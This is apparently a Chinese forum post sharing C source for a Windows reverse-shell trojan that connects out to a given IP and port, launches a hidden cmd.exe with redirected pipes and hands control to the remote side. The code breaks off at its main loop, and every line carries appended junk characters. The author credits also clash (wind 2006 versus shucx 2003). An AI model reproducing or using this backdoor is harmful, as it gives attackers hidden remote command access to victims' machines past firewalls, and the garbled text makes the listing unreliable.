这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 1}nm2h1 I
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/* ============================== :~D];m
Rebound port in Windows NT U!0E_J
By wind,2006/7 hbfsHT
===============================*/ ;_N"Fdl
#include :3 y_mf>
#include $kl$D"*0
h R~v
#pragma comment(lib,"wsock32.lib") @hsbq
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void OutputShell(); $_FZn'Db6
SOCKET sClient; 9~~UM<66W
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; OX^3Q:Z=
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void main(int argc,char **argv) ul=7>";=|
{ M~p=#V1D
WSADATA stWsaData; (Q_2ODKo
int nRet; K$ AB} Fvc
SOCKADDR_IN stSaiClient,stSaiServer; 1`QsW&9=b
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if(argc != 3) tr=@+WHp
{ gz4UV/qr/
printf("Useage:\n\rRebound DestIP DestPort\n"); d;44;*D
return; a:b^!H>#
} M(2`2-/xh
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WSAStartup(MAKEWORD(2,2),&stWsaData); ;(S|cm'>}
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !+KhFC&Py
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stSaiClient.sin_family = AF_INET; o|rzN\WJn
stSaiClient.sin_port = htons(0); !M^\f
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); !DcX8~~@
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) >|nt2
{ V.2[ F|P;3
printf("Bind Socket Failed!\n"); CL1;Inzl
return; Ag6uR(uI
} uLK(F
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stSaiServer.sin_family = AF_INET; tN2 W8d
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); LwQH6 !;[
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); yC"Zoa6YZ
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) TGpSulg7
{ 75AslL?t
printf("Connect Error!"); P7r4ePtLk{
return; $
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} ET+'Pj3
OutputShell(); iaRR5D-
} %w:'!X><
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void OutputShell() VYigxhP7
{ _lT0Hu
char szBuff[1024]; 7P*Z0%Q
SECURITY_ATTRIBUTES stSecurityAttributes; 3]`mQm E
OSVERSIONINFO stOsversionInfo; /buWAX1
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 7Ud'd<
STARTUPINFO stStartupInfo; fnOIv#
char *szShell; j)";:v
PROCESS_INFORMATION stProcessInformation; @|=UrKA N
unsigned long lBytesRead; QptOQ3!
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [pR)@$"k'
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); (yGQa5v
stSecurityAttributes.lpSecurityDescriptor = 0; HfZtL
stSecurityAttributes.bInheritHandle = TRUE; 2fbU-9Rfn
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 2-s 7cXs
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); OZT^\Ky_l
sg$4G:l
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); `Cg ^in\
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @yKZRwg
stStartupInfo.wShowWindow = SW_HIDE; rS,j;8D-
stStartupInfo.hStdInput = hReadPipe; ~p.%.b;~t
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \JU{xQMB
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GetVersionEx(&stOsversionInfo); "kr,x3
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vgo{]:Aj{
switch(stOsversionInfo.dwPlatformId) zX~}]?|9
{ [Xh\mDU.
case 1: pYh!]0n
szShell = "command.com"; $T/#1w P
break; = t-fYV
default: PCZ]R
szShell = "cmd.exe"; +6376$dC
break; @/(@/*+"
} LzE/g)>
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ZqP7@fO_%
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send(sClient,szMsg,77,0); +c r
while(1) &